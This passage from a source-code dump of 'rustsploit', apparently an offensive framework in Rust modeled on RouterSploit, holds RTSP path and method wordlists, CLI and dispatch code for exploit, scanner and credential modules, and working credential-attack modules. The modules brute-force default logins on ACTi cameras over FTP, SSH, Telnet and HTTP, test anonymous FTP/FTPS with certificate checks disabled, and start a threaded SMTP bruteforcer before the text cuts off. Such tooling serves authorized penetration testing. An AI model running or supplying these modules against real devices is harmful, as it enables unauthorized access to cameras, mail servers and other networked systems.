synthesizer 151 | tcpav0_0 152 | user_defined 153 | video 154 | video.3gp 155 | video.cgi 156 | video.cgi?resolution=VGA 157 | video.cgi?resolution=vga 158 | video.h264 159 | video.mjpg 160 | video.mp4 161 | video.pro1 162 | video.pro2 163 | ucast11 164 | unicastc1s1live 165 | user.pin.mp2 166 | video.pro3 167 | videomjpg.cgi 168 | video1 169 | video1+audio1 170 | video2.mjpg 171 | videoMain 172 | videoinput_1:0h264_1onvif.stm 173 | user=admin_password=tlJwpbo6_channel=1_stream=0.sdp?real_stream 174 | videostream.cgi?rate=0 175 | vis 176 | wfov 177 | -------------------------------------------------------------------------------- /lists/rtsphead.txt: -------------------------------------------------------------------------------- 1 | OPTIONS 2 | DESCRIBE 3 | SETUP 4 | PLAY 5 | PAUSE 6 | TEARDOWN 7 | GET_PARAMETER 8 | SET_PARAMETER 9 | REDIRECT 10 | ANNOUNCE 11 | RECORD 12 | FLUSH 13 | PING 14 | STOP 15 | RECEIVE 16 | START 17 | SHUTDOWN 18 | CHECK 19 | INIT 20 | TRICKPLAY 21 | STREAM 22 | OPEN 23 | CLOSE 24 | START_RECORD 25 | STOP_RECORD 26 | SCALE 27 | RESUME 28 | STANDBY 29 | START_PLAY 30 | REQUEST_KEY_FRAME 31 | CONFIG 32 | FORCE_IFRAME 33 | DETECT 34 | ALIVE 35 | RENEW 36 | LINK 37 | UNLINK 38 | SET_DELAY 39 | RESET 40 | ACTIVATE 41 | DEACTIVATE 42 | ENABLE 43 | DISABLE 44 | LOGON 45 | LOGOFF 46 | AUTH 47 | START_STREAM 48 | STOP_STREAM 49 | SET_TIME 50 | GET_TIME 51 | GET_STATUS 52 | GET_CONFIG 53 | SET_CONFIG 54 | GET_INFO 55 | SET_INFO 56 | GET_SNAPSHOT 57 | TRIGGER 58 | UPGRADE 59 | QUERY 60 | POLL 61 | HEARTBEAT 62 | REPORT 63 | CAMERA_CONTROL 64 | FOCUS 65 | ZOOM 66 | PTZ 67 | PAN 68 | TILT 69 | PRESET 70 | GOTO_PRESET 71 | SET_PRESET 72 | REMOVE_PRESET 73 | ADJUST 74 | STATUS 75 | RESTART 76 | GET_URL 77 | SET_URL 78 | LOAD 79 | SAVE 80 | REGISTER 81 | UNREGISTER 82 | METADATA 83 | -------------------------------------------------------------------------------- /preview.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/s-b-repo/rustsploit/3da254c19be104aef0b93b054ab7debafb0e4624/preview.png -------------------------------------------------------------------------------- /src/cli.rs: -------------------------------------------------------------------------------- 1 | use clap::{ArgGroup, Parser}; 2 | 3 | /// Simple RouterSploit-like CLI in Rust 4 | #[derive(Parser, Debug)] 5 | #[command(author, version, about, long_about = None)] 6 | #[clap(group( 7 | ArgGroup::new("mode") 8 | .required(false) 9 | .args(&["command"]) 10 | ))] 11 | pub struct Cli { 12 | /// Subcommand to run (e.g. "exploit", "scanner", "creds") 13 | pub command: Option, 14 | 15 | /// Target IP or hostname 16 | #[arg(short, long)] 17 | pub target: Option, 18 | 19 | /// Module name to use 20 | #[arg(short, long)] 21 | pub module: Option, 22 | } 23 | -------------------------------------------------------------------------------- /src/commands/creds.rs: -------------------------------------------------------------------------------- 1 | use anyhow::Result; 2 | 3 | include!(concat!(env!("OUT_DIR"), "/creds_dispatch.rs")); 4 | 5 | pub async fn run_cred_check(module_name: &str, target: &str) -> Result<()> { 6 | dispatch(module_name, target).await 7 | } 8 | -------------------------------------------------------------------------------- /src/commands/creds_gen.rs: -------------------------------------------------------------------------------- 1 | use std::collections::HashSet; 2 | use std::env; 3 | use std::fs::{self, File}; 4 | use std::io::Write; 5 | use std::path::{Path, PathBuf}; 6 | 7 | fn main() { 8 | let out_dir = env::var("OUT_DIR").unwrap(); 9 | let dest_path = Path::new(&out_dir).join("cred_dispatch.rs"); 10 | let mut file = File::create(&dest_path).unwrap(); 11 | 12 | let creds_root = Path::new("src/modules/creds"); 13 | 14 | let mut mappings: HashSet<(String, String)> = HashSet::new(); 15 | 16 | // Traverse all .rs files (excluding mod.rs) 17 | visit_all_rs(creds_root, "".to_string(), &mut mappings).unwrap(); 18 | 19 | // Generate dispatch function 20 | writeln!( 21 | file, 22 | "pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{" 23 | ).unwrap(); 24 | 25 | for (key, mod_path) in &mappings { 26 | let short_key = key.rsplit('/').next().unwrap_or(&key); 27 | let mod_code_path = mod_path.replace("/", "::"); 28 | 29 | writeln!( 30 | file, 31 | r#" "{short}" | "{full}" => {{ crate::modules::creds::{path}::run(target).await? }},"#, 32 | short = short_key, 33 | full = key, 34 | path = mod_code_path 35 | ).unwrap(); 36 | } 37 | 38 | writeln!( 39 | file, 40 | r#" _ => anyhow::bail!("Cred module '{{}}' not found.", module_name),"# 41 | ).unwrap(); 42 | 43 | writeln!(file, " }}\n Ok(())\n}}").unwrap(); 44 | } 45 | 46 | /// Recursively scan `src/modules/creds/` and find all `.rs` files (excluding `mod.rs`) 47 | fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> { 48 | if dir.is_dir() { 49 | for entry in fs::read_dir(dir)? { 50 | let entry = entry?; 51 | let path = entry.path(); 52 | let file_name = entry.file_name().to_string_lossy().into_owned(); 53 | 54 | if path.is_dir() { 55 | let sub_prefix = if prefix.is_empty() { 56 | file_name.clone() 57 | } else { 58 | format!("{}/{}", prefix, file_name) 59 | }; 60 | visit_all_rs(&path, sub_prefix, mappings)?; 61 | } else if path.extension().map_or(false, |e| e == "rs") { 62 | if file_name == "mod.rs" { 63 | continue; 64 | } 65 | 66 | let file_stem = path.file_stem().unwrap().to_string_lossy(); 67 | let mod_path = if prefix.is_empty() { 68 | file_stem.to_string() 69 | } else { 70 | format!("{}/{}", prefix, file_stem) 71 | }; 72 | 73 | if mappings.insert((mod_path.clone(), mod_path.clone())) { 74 | println!("✅ Found cred module: {}", mod_path); 75 | } 76 | } 77 | } 78 | } 79 | Ok(()) 80 | } 81 | -------------------------------------------------------------------------------- /src/commands/exploit.rs: -------------------------------------------------------------------------------- 1 | use anyhow::Result; 2 | 3 | include!(concat!(env!("OUT_DIR"), "/exploit_dispatch.rs")); 4 | 5 | pub async fn run_exploit(module_name: &str, target: &str) -> Result<()> { 6 | dispatch(module_name, target).await 7 | } 8 | -------------------------------------------------------------------------------- /src/commands/exploit_gen.rs: -------------------------------------------------------------------------------- 1 | use std::collections::HashSet; 2 | use std::env; 3 | use std::fs::{self, File}; 4 | use std::io::Write; 5 | use std::path::{Path, PathBuf}; 6 | 7 | fn main() { 8 | let out_dir = env::var("OUT_DIR").unwrap(); 9 | let dest_path = Path::new(&out_dir).join("exploit_dispatch.rs"); 10 | let mut file = File::create(&dest_path).unwrap(); 11 | 12 | let exploits_root = Path::new("src/modules/exploits"); 13 | 14 | let mut mappings: HashSet<(String, String)> = HashSet::new(); 15 | 16 | // Traverse all .rs files (excluding mod.rs) 17 | visit_all_rs(exploits_root, "".to_string(), &mut mappings).unwrap(); 18 | 19 | // Start generating dispatch code 20 | writeln!( 21 | file, 22 | "pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{" 23 | ).unwrap(); 24 | 25 | for (key, mod_path) in &mappings { 26 | let short_key = key.rsplit('/').next().unwrap_or(&key); 27 | let mod_code_path = mod_path.replace("/", "::"); 28 | 29 | writeln!( 30 | file, 31 | r#" "{short}" | "{full}" => {{ crate::modules::exploits::{path}::run(target).await? }},"#, 32 | short = short_key, 33 | full = key, 34 | path = mod_code_path 35 | ).unwrap(); 36 | } 37 | 38 | writeln!( 39 | file, 40 | r#" _ => anyhow::bail!("Exploit module '{{}}' not found.", module_name),"# 41 | ).unwrap(); 42 | 43 | writeln!(file, " }}\n Ok(())\n}}").unwrap(); 44 | } 45 | 46 | /// Recursively walk through directories, find all .rs files excluding mod.rs 47 | fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> { 48 | if dir.is_dir() { 49 | for entry in fs::read_dir(dir)? { 50 | let entry = entry?; 51 | let path = entry.path(); 52 | let file_name = entry.file_name().to_string_lossy().into_owned(); 53 | 54 | if path.is_dir() { 55 | let sub_prefix = if prefix.is_empty() { 56 | file_name.clone() 57 | } else { 58 | format!("{}/{}", prefix, file_name) 59 | }; 60 | visit_all_rs(&path, sub_prefix, mappings)?; 61 | } else if path.extension().map_or(false, |e| e == "rs") { 62 | if file_name == "mod.rs" { 63 | continue; 64 | } 65 | 66 | let file_stem = path.file_stem().unwrap().to_string_lossy(); 67 | let mod_path = if prefix.is_empty() { 68 | file_stem.to_string() 69 | } else { 70 | format!("{}/{}", prefix, file_stem) 71 | }; 72 | 73 | // Add to mappings if not already added 74 | if mappings.insert((mod_path.clone(), mod_path.clone())) { 75 | println!("✅ Found exploit: {}", mod_path); 76 | } 77 | } 78 | } 79 | } 80 | Ok(()) 81 | } 82 | -------------------------------------------------------------------------------- /src/commands/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod exploit; 2 | pub mod scanner; 3 | pub mod creds; 4 | 5 | use anyhow::Result; 6 | use crate::cli::Cli; 7 | use walkdir::WalkDir; 8 | use crate::utils::normalize_target; 9 | 10 | /// CLI dispatcher: e.g. --command scanner --target "::1" --module scanners/port_scanner 11 | pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> { 12 | let raw = cli_args.target.clone().unwrap_or_default(); 13 | let target = normalize_target(&raw)?; // IPv6 wrap only, no port 14 | let module = cli_args.module.clone().unwrap_or_default(); 15 | 16 | match command { 17 | "exploit" => { 18 | let trimmed = module.trim_start_matches("exploits/"); 19 | exploit::run_exploit(trimmed, &target).await?; 20 | }, 21 | "scanner" => { 22 | let trimmed = module.trim_start_matches("scanners/"); 23 | scanner::run_scan(trimmed, &target).await?; 24 | }, 25 | "creds" => { 26 | let trimmed = module.trim_start_matches("creds/"); 27 | creds::run_cred_check(trimmed, &target).await?; 28 | }, 29 | _ => { 30 | eprintln!("Unknown command '{}'", command); 31 | } 32 | } 33 | 34 | Ok(()) 35 | } 36 | 37 | /// Interactive shell: handles `run` with raw target string 38 | pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> { 39 | let available = discover_modules(); 40 | 41 | let full_match = available.iter().find(|m| m == &module_path); 42 | let short_match = available.iter().find(|m| { 43 | m.rsplit_once('/') 44 | .map(|(_, short)| short == module_path) 45 | .unwrap_or(false) 46 | }); 47 | 48 | let resolved = if let Some(m) = full_match { 49 | m 50 | } else if let Some(m) = short_match { 51 | m 52 | } else { 53 | eprintln!("❌ Unknown module '{}'. Available modules:", module_path); 54 | for m in available { 55 | println!(" {}", m); 56 | } 57 | return Ok(()); 58 | }; 59 | 60 | let target = normalize_target(raw_target)?; 61 | 62 | let mut parts = resolved.splitn(2, '/'); 63 | let category = parts.next().unwrap_or(""); 64 | let module_name = parts.next().unwrap_or(""); 65 | 66 | match category { 67 | "exploits" => exploit::run_exploit(module_name, &target).await?, 68 | "scanners" => scanner::run_scan(module_name, &target).await?, 69 | "creds" => creds::run_cred_check(module_name, &target).await?, 70 | _ => eprintln!("❌ Category '{}' is not supported.", category), 71 | } 72 | 73 | Ok(()) 74 | } 75 | 76 | /// Finds all .rs module paths inside `src/modules/**`, excluding mod.rs 77 | pub fn discover_modules() -> Vec { 78 | let mut modules = Vec::new(); 79 | let categories = ["exploits", "scanners", "creds"]; 80 | 81 | for category in &categories { 82 | let base = format!("src/modules/{}", category); 83 | for entry in WalkDir::new(&base).max_depth(6).into_iter().filter_map(|e| e.ok()) { 84 | let p = entry.path(); 85 | if p.is_file() 86 | && p.extension().map_or(false, |e| e == "rs") 87 | && p.file_name().map_or(true, |n| n != "mod.rs") 88 | { 89 | if let Ok(rel) = p.strip_prefix("src/modules") { 90 | let module_path = rel 91 | .with_extension("") 92 | .to_string_lossy() 93 | .replace("\\", "/"); 94 | modules.push(module_path); 95 | } 96 | } 97 | } 98 | } 99 | 100 | modules 101 | } 102 | -------------------------------------------------------------------------------- /src/commands/scanner.rs: -------------------------------------------------------------------------------- 1 | use anyhow::Result; 2 | 3 | include!(concat!(env!("OUT_DIR"), "/scanner_dispatch.rs")); 4 | 5 | pub async fn run_scan(module_name: &str, target: &str) -> Result<()> { 6 | dispatch(module_name, target).await 7 | } 8 | -------------------------------------------------------------------------------- /src/commands/scanner_gen.rs: -------------------------------------------------------------------------------- 1 | use std::collections::HashSet; 2 | use std::env; 3 | use std::fs::{self, File}; 4 | use std::io::{Write}; 5 | use std::path::{Path, PathBuf}; 6 | 7 | fn main() { 8 | let out_dir = env::var("OUT_DIR").unwrap(); 9 | let dest_path = Path::new(&out_dir).join("scanner_dispatch.rs"); 10 | let mut file = File::create(&dest_path).unwrap(); 11 | 12 | let scanners_root = Path::new("src/modules/scanners"); 13 | 14 | let mut mappings: HashSet<(String, String)> = HashSet::new(); 15 | 16 | // Traverse all .rs files (excluding mod.rs) 17 | visit_all_rs(scanners_root, "".to_string(), &mut mappings).unwrap(); 18 | 19 | // Start generating dispatch code 20 | writeln!( 21 | file, 22 | "pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{" 23 | ).unwrap(); 24 | 25 | for (key, mod_path) in &mappings { 26 | let short_key = key.rsplit('/').next().unwrap_or(&key); 27 | let mod_code_path = mod_path.replace("/", "::"); 28 | 29 | writeln!( 30 | file, 31 | r#" "{short}" | "{full}" => {{ crate::modules::scanners::{path}::run(target).await? }},"#, 32 | short = short_key, 33 | full = key, 34 | path = mod_code_path 35 | ).unwrap(); 36 | } 37 | 38 | writeln!( 39 | file, 40 | r#" _ => anyhow::bail!("Scanner module '{{}}' not found.", module_name),"# 41 | ).unwrap(); 42 | 43 | writeln!(file, " }}\n Ok(())\n}}").unwrap(); 44 | } 45 | 46 | /// Recursively walk through directories, find all .rs files excluding mod.rs 47 | fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> { 48 | if dir.is_dir() { 49 | for entry in fs::read_dir(dir)? { 50 | let entry = entry?; 51 | let path = entry.path(); 52 | let file_name = entry.file_name().to_string_lossy().into_owned(); 53 | 54 | if path.is_dir() { 55 | let sub_prefix = if prefix.is_empty() { 56 | file_name.clone() 57 | } else { 58 | format!("{}/{}", prefix, file_name) 59 | }; 60 | visit_all_rs(&path, sub_prefix, mappings)?; 61 | } else if path.extension().map_or(false, |e| e == "rs") { 62 | if file_name == "mod.rs" { 63 | continue; 64 | } 65 | 66 | let file_stem = path.file_stem().unwrap().to_string_lossy(); 67 | let mod_path = if prefix.is_empty() { 68 | file_stem.to_string() 69 | } else { 70 | format!("{}/{}", prefix, file_stem) 71 | }; 72 | 73 | // Add to mappings if not already added 74 | if mappings.insert((mod_path.clone(), mod_path.clone())) { 75 | println!("✅ Found scanner: {}", mod_path); 76 | } 77 | } 78 | } 79 | } 80 | Ok(()) 81 | } 82 | -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | use anyhow::Result; 2 | use clap::Parser; 3 | 4 | mod cli; 5 | mod shell; 6 | mod commands; 7 | mod modules; 8 | mod utils; 9 | 10 | #[tokio::main] 11 | async fn main() -> Result<()> { 12 | // Parse command-line arguments 13 | let cli_args = cli::Cli::parse(); 14 | 15 | // If user provided subcommands (e.g., "exploit", "scan", etc.) from CLI, handle them directly: 16 | if let Some(cmd) = &cli_args.command { 17 | commands::handle_command(cmd, &cli_args).await?; 18 | } 19 | // Otherwise, launch the interactive shell 20 | else { 21 | shell::interactive_shell().await?; 22 | } 23 | 24 | Ok(()) 25 | } 26 | -------------------------------------------------------------------------------- /src/modules/creds/camera/acti/acti_camera_default.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{Context, Result}; 2 | use async_ftp::FtpStream; 3 | use reqwest::Client; 4 | use ssh2::Session; 5 | use telnet::{Telnet, Event}; 6 | use std::{net::TcpStream, time::Duration}; 7 | use tokio::{join, task}; 8 | 9 | 10 | 11 | #[allow(dead_code)] 12 | /// Supported Acti services 13 | pub enum ServiceType { 14 | Ftp, 15 | Ssh, 16 | Telnet, 17 | Http, 18 | } 19 | 20 | /// Common config 21 | #[derive(Clone)] 22 | pub struct Config { 23 | pub target: String, 24 | pub port: u16, 25 | pub credentials: Vec<(&'static str, &'static str)>, 26 | pub stop_on_success: bool, 27 | pub verbosity: bool, 28 | } 29 | 30 | /// Helper to normalize IPv4, IPv6 (with any amount of brackets) 31 | fn normalize_target(target: &str, port: u16) -> String { 32 | let cleaned = target.trim_matches(|c| c == '[' || c == ']'); 33 | if cleaned.contains(':') && !cleaned.contains('.') { 34 | format!("[{}]:{}", cleaned, port) // IPv6 35 | } else { 36 | format!("{}:{}", cleaned, port) // IPv4 or hostname 37 | } 38 | } 39 | 40 | /// FTP check (async) 41 | pub async fn check_ftp(config: &Config) -> Result<()> { 42 | println!("[*] Checking FTP credentials on {}:{}", config.target, config.port); 43 | 44 | for (username, password) in &config.credentials { 45 | if config.verbosity { 46 | println!("[*] Trying FTP: {}:{}", username, password); 47 | } 48 | 49 | let address = normalize_target(&config.target, config.port); 50 | match FtpStream::connect(address).await { 51 | Ok(mut ftp) => { 52 | if ftp.login(username, password).await.is_ok() { 53 | println!("[+] FTP credentials valid: {}:{}", username, password); 54 | if config.stop_on_success { 55 | return Ok(()); 56 | } 57 | } 58 | let _ = ftp.quit().await; 59 | } 60 | Err(_) => continue, 61 | } 62 | } 63 | 64 | println!("[-] No valid FTP credentials found on {}:{}", config.target, config.port); 65 | Ok(()) 66 | } 67 | 68 | /// SSH check (blocking, so we use spawn_blocking) 69 | pub fn check_ssh_blocking(config: &Config) -> Result<()> { 70 | println!("[*] Checking SSH credentials on {}:{}", config.target, config.port); 71 | 72 | for (username, password) in &config.credentials { 73 | if config.verbosity { 74 | println!("[*] Trying SSH: {}:{}", username, password); 75 | } 76 | 77 | let address = normalize_target(&config.target, config.port); 78 | if let Ok(stream) = TcpStream::connect(address) { 79 | let mut session = Session::new().context("Failed to create SSH session")?; 80 | session.set_tcp_stream(stream); 81 | session.handshake().context("SSH handshake failed")?; 82 | 83 | if session.userauth_password(username, password).is_ok() && session.authenticated() { 84 | println!("[+] SSH credentials valid: {}:{}", username, password); 85 | if config.stop_on_success { 86 | return Ok(()); 87 | } 88 | } 89 | } 90 | } 91 | 92 | println!("[-] No valid SSH credentials found on {}:{}", config.target, config.port); 93 | Ok(()) 94 | } 95 | 96 | /// Telnet check (blocking) 97 | pub fn check_telnet_blocking(config: &Config) -> Result<()> { 98 | println!("[*] Checking Telnet credentials on {}:{}", config.target, config.port); 99 | 100 | for (username, password) in &config.credentials { 101 | if config.verbosity { 102 | println!("[*] Trying Telnet: {}:{}", username, password); 103 | } 104 | 105 | let address = normalize_target(&config.target, config.port); 106 | let parts: Vec<&str> = address.rsplitn(2, ':').collect(); 107 | if parts.len() != 2 { 108 | continue; 109 | } 110 | let host = parts[1]; 111 | let port: u16 = parts[0].parse().unwrap_or(23); 112 | 113 | if let Ok(mut telnet) = Telnet::connect((host, port), 500) { 114 | let _ = telnet.write(format!("{}\r\n", username).as_bytes()); 115 | let _ = telnet.write(format!("{}\r\n", password).as_bytes()); 116 | 117 | // Give device time to respond 118 | std::thread::sleep(Duration::from_millis(500)); 119 | 120 | if let Ok(Event::Data(buffer)) = telnet.read_timeout(Duration::from_millis(800)) { 121 | let response = String::from_utf8_lossy(&buffer); 122 | if !response.contains("incorrect") && !response.contains("failed") { 123 | println!("[+] Telnet credentials valid: {}:{}", username, password); 124 | if config.stop_on_success { 125 | return Ok(()); 126 | } 127 | } 128 | } 129 | } 130 | } 131 | 132 | println!("[-] No valid Telnet credentials found on {}:{}", config.target, config.port); 133 | Ok(()) 134 | } 135 | 136 | /// HTTP Web Login check (async) 137 | pub async fn check_http_form(config: &Config) -> Result<()> { 138 | println!("[*] Checking HTTP Web Form credentials on {}:{}", config.target, config.port); 139 | 140 | let client = Client::builder() 141 | .danger_accept_invalid_certs(true) 142 | .timeout(Duration::from_secs(5)) 143 | .build()?; 144 | 145 | let url = format!("http://{}:{}/video.htm", config.target.trim_matches(|c| c == '[' || c == ']'), config.port); 146 | 147 | for (username, password) in &config.credentials { 148 | if config.verbosity { 149 | println!("[*] Trying HTTP: {}:{}", username, password); 150 | } 151 | 152 | let data = [ 153 | ("LOGIN_ACCOUNT", *username), 154 | ("LOGIN_PASSWORD", *password), 155 | ("LANGUAGE", "0"), 156 | ("btnSubmit", "Login"), 157 | ]; 158 | 159 | let res = client 160 | .post(&url) 161 | .form(&data) 162 | .send() 163 | .await 164 | .context("[!] Failed to send HTTP form request")?; 165 | 166 | let body = res.text().await.unwrap_or_default(); 167 | 168 | if !body.contains(">Password<") { 169 | println!("[+] HTTP credentials valid: {}:{}", username, password); 170 | if config.stop_on_success { 171 | return Ok(()); 172 | } 173 | } 174 | } 175 | 176 | println!("[-] No valid HTTP credentials found on {}:{}", config.target, config.port); 177 | Ok(()) 178 | } 179 | 180 | /// Entrypoint for module - parallel checks 181 | pub async fn run(target: &str) -> Result<()> { 182 | let creds = vec![ 183 | ("admin", "12345"), 184 | ("admin", "123456"), 185 | ("Admin", "12345"), 186 | ("Admin", "123456"), 187 | ]; 188 | 189 | let base_config = Config { 190 | target: target.to_string(), 191 | port: 0, 192 | credentials: creds, 193 | stop_on_success: true, 194 | verbosity: true, 195 | }; 196 | 197 | let ftp_conf = Config { port: 21, ..base_config.clone() }; 198 | let ssh_conf = Config { port: 22, ..base_config.clone() }; 199 | let telnet_conf = Config { port: 23, ..base_config.clone() }; 200 | let http_conf = Config { port: 80, ..base_config.clone() }; 201 | 202 | let (ftp_res, ssh_res, telnet_res, http_res) = join!( 203 | check_ftp(&ftp_conf), 204 | async { 205 | task::spawn_blocking(move || check_ssh_blocking(&ssh_conf)).await? 206 | }, 207 | async { 208 | task::spawn_blocking(move || check_telnet_blocking(&telnet_conf)).await? 209 | }, 210 | check_http_form(&http_conf), 211 | ); 212 | 213 | ftp_res?; 214 | ssh_res?; 215 | telnet_res?; 216 | http_res?; 217 | 218 | Ok(()) 219 | } 220 | -------------------------------------------------------------------------------- /src/modules/creds/camera/acti/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod acti_camera_default; 2 | -------------------------------------------------------------------------------- /src/modules/creds/camera/mod.rs: -------------------------------------------------------------------------------- 1 | pub mod acti; 2 | -------------------------------------------------------------------------------- /src/modules/creds/generic/enablebruteforce.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{Result, anyhow}; 2 | use std::process::Command; 3 | 4 | /// Module entry point for raising ulimit 5 | pub async fn run(_target: &str) -> Result<()> { 6 | raise_ulimit().await 7 | } 8 | 9 | /// Raise ulimit to 65535 10 | async fn raise_ulimit() -> Result<()> { 11 | println!("[*] Attempting to raise open file limit (ulimit -n 65535)"); 12 | 13 | // Try to set limit using bash 14 | let output = Command::new("bash") 15 | .arg("-c") 16 | .arg("ulimit -n 65535") 17 | .output() 18 | .map_err(|e| anyhow!("Failed to run bash: {}", e))?; 19 | 20 | if !output.status.success() { 21 | println!("[-] Warning: Could not change ulimit. (maybe run as root?)"); 22 | } else { 23 | println!("[+] Successfully ran ulimit -n 65535."); 24 | } 25 | 26 | // Check current limit 27 | let check_output = Command::new("bash") 28 | .arg("-c") 29 | .arg("ulimit -n") 30 | .output() 31 | .map_err(|e| anyhow!("Failed to check ulimit: {}", e))?; 32 | 33 | if check_output.status.success() { 34 | let limit = String::from_utf8_lossy(&check_output.stdout); 35 | println!("[+] Current open file limit: {}", limit.trim()); 36 | } else { 37 | println!("[-] Warning: Could not verify new ulimit."); 38 | } 39 | 40 | Ok(()) 41 | } 42 | -------------------------------------------------------------------------------- /src/modules/creds/generic/ftp_anonymous.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{anyhow, Result}; 2 | use suppaftp::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector}; 3 | use suppaftp::async_native_tls::TlsConnector; 4 | use tokio::time::{timeout, Duration}; 5 | 6 | /// Format IPv4 or IPv6 addresses with port 7 | fn format_addr(target: &str, port: u16) -> String { 8 | if target.starts_with('[') && target.contains("]:") { 9 | target.to_string() 10 | } else if target.matches(':').count() == 1 && !target.contains('[') { 11 | target.to_string() 12 | } else { 13 | let clean = if target.starts_with('[') && target.ends_with(']') { 14 | &target[1..target.len() - 1] 15 | } else { 16 | target 17 | }; 18 | if clean.contains(':') { 19 | format!("[{}]:{}", clean, port) 20 | } else { 21 | format!("{}:{}", clean, port) 22 | } 23 | } 24 | } 25 | 26 | /// Anonymous FTP/FTPS login test with IPv6 support 27 | pub async fn run(target: &str) -> Result<()> { 28 | let addr = format_addr(target, 21); 29 | let domain = target 30 | .trim_start_matches('[') 31 | .split(&[']', ':'][..]) 32 | .next() 33 | .unwrap_or(target); 34 | 35 | println!("[*] Connecting to FTP service on {}...", addr); 36 | 37 | // 1️⃣ Try plain FTP first 38 | match timeout(Duration::from_secs(5), AsyncFtpStream::connect(&addr)).await { 39 | Ok(Ok(mut ftp)) => { 40 | let result = ftp.login("anonymous", "anonymous").await; 41 | if let Ok(_) = result { 42 | println!("[+] Anonymous login successful (FTP)"); 43 | let _ = ftp.quit().await; 44 | return Ok(()); 45 | } else if let Err(e) = result { 46 | if e.to_string().contains("530") { 47 | println!("[-] Anonymous login rejected (FTP)"); 48 | return Ok(()); 49 | } else if e.to_string().contains("550 SSL") { 50 | println!("[*] FTP server requires TLS — upgrading to FTPS..."); 51 | } else { 52 | return Err(anyhow!("FTP error: {}", e)); 53 | } 54 | } 55 | } 56 | Ok(Err(e)) => println!("[!] FTP connection error: {}", e), 57 | Err(_) => println!("[-] FTP connection timed out"), 58 | } 59 | 60 | // 2️⃣ Fallback to FTPS 61 | let mut ftps = AsyncNativeTlsFtpStream::connect(&addr) 62 | .await 63 | .map_err(|e| anyhow!("FTPS connect failed: {}", e))?; 64 | 65 | let connector = AsyncNativeTlsConnector::from( 66 | TlsConnector::new() 67 | .danger_accept_invalid_certs(true) 68 | .danger_accept_invalid_hostnames(true), 69 | ); 70 | 71 | ftps = ftps 72 | .into_secure(connector, domain) 73 | .await 74 | .map_err(|e| anyhow!("FTPS TLS upgrade failed: {}", e))?; 75 | 76 | match ftps.login("anonymous", "anonymous").await { 77 | Ok(_) => { 78 | println!("[+] Anonymous login successful (FTPS)"); 79 | let _ = ftps.quit().await; 80 | } 81 | Err(e) if e.to_string().contains("530") => { 82 | println!("[-] Anonymous login rejected (FTPS)"); 83 | } 84 | Err(e) => return Err(anyhow!("FTPS login error: {}", e)), 85 | } 86 | 87 | Ok(()) 88 | } 89 | -------------------------------------------------------------------------------- /src/modules/creds/generic/mod.rs: -------------------------------------------------------------------------------- 1 | 2 | pub mod sample_cred_check; 3 | pub mod ftp_bruteforce; 4 | pub mod ftp_anonymous; 5 | pub mod telnet_bruteforce; 6 | pub mod ssh_bruteforce; 7 | pub mod rtsp_bruteforce_advanced; 8 | pub mod rdp_bruteforce; 9 | pub mod enablebruteforce; 10 | pub mod smtp_bruteforce; 11 | pub mod pop3_bruteforce; 12 | -------------------------------------------------------------------------------- /src/modules/creds/generic/sample_cred_check.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{Result, Context}; 2 | use reqwest; 3 | 4 | /// A sample credential check - tries a basic auth login 5 | pub async fn run(target: &str) -> Result<()> { 6 | println!("[*] Checking default creds on: {}", target); 7 | 8 | let url = format!("http://{}/login", target); 9 | let client = reqwest::Client::new(); 10 | 11 | // Hypothetical login using "admin:admin" 12 | let resp = client 13 | .post(&url) 14 | .basic_auth("admin", Some("admin")) 15 | .send() 16 | .await 17 | .context("Failed to send login request")?; 18 | 19 | if resp.status().is_success() { 20 | println!("[+] Default credentials admin:admin are valid!"); 21 | } else { 22 | println!("[-] Default credentials admin:admin failed."); 23 | } 24 | 25 | Ok(()) 26 | } 27 | -------------------------------------------------------------------------------- /src/modules/creds/generic/smtp_bruteforce.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{Result, Context}; 2 | use regex::Regex; 3 | use std::fs::{File, OpenOptions}; 4 | use std::io::{self, BufRead, BufReader, Write}; 5 | use std::net::{TcpStream, ToSocketAddrs}; 6 | use std::sync::{Arc, Mutex}; 7 | use std::time::Duration; 8 | use telnet::{Telnet, Event}; 9 | use threadpool::ThreadPool; 10 | use crossbeam_channel::unbounded; 11 | 12 | #[derive(Clone)] 13 | struct SmtpBruteforceConfig { 14 | target: String, 15 | port: u16, 16 | username_wordlist: String, 17 | password_wordlist: String, 18 | threads: usize, 19 | stop_on_success: bool, 20 | verbose: bool, 21 | full_combo: bool, 22 | } 23 | 24 | pub async fn run(target: &str) -> Result<()> { 25 | println!("\n=== SMTP Bruteforce ===\n"); 26 | let port = prompt("Port (default 25): ").parse().unwrap_or(25); 27 | let username_wordlist = prompt("Username wordlist file: "); 28 | let password_wordlist = prompt("Password wordlist file: "); 29 | let threads = prompt("Threads (default 8): ").parse().unwrap_or(8); 30 | let stop_on_success = prompt("Stop on first valid login? (y/n): ").trim().eq_ignore_ascii_case("y"); 31 | let full_combo = prompt("Try all combos? (y/n): ").trim().eq_ignore_ascii_case("y"); 32 | let verbose = prompt("Verbose? (y/n): ").trim().eq_ignore_ascii_case("y"); 33 | let config = SmtpBruteforceConfig { 34 | target: target.to_string(), 35 | port, 36 | username_wordlist, 37 | password_wordlist, 38 | threads, 39 | stop_on_success, 40 | verbose, 41 | full_combo, 42 | }; 43 | run_smtp_bruteforce(config) 44 | } 45 | 46 | fn run_smtp_bruteforce(config: SmtpBruteforceConfig) -> Result<()> { 47 | let addr = normalize_target(&config.target, config.port)?; 48 | let usernames = 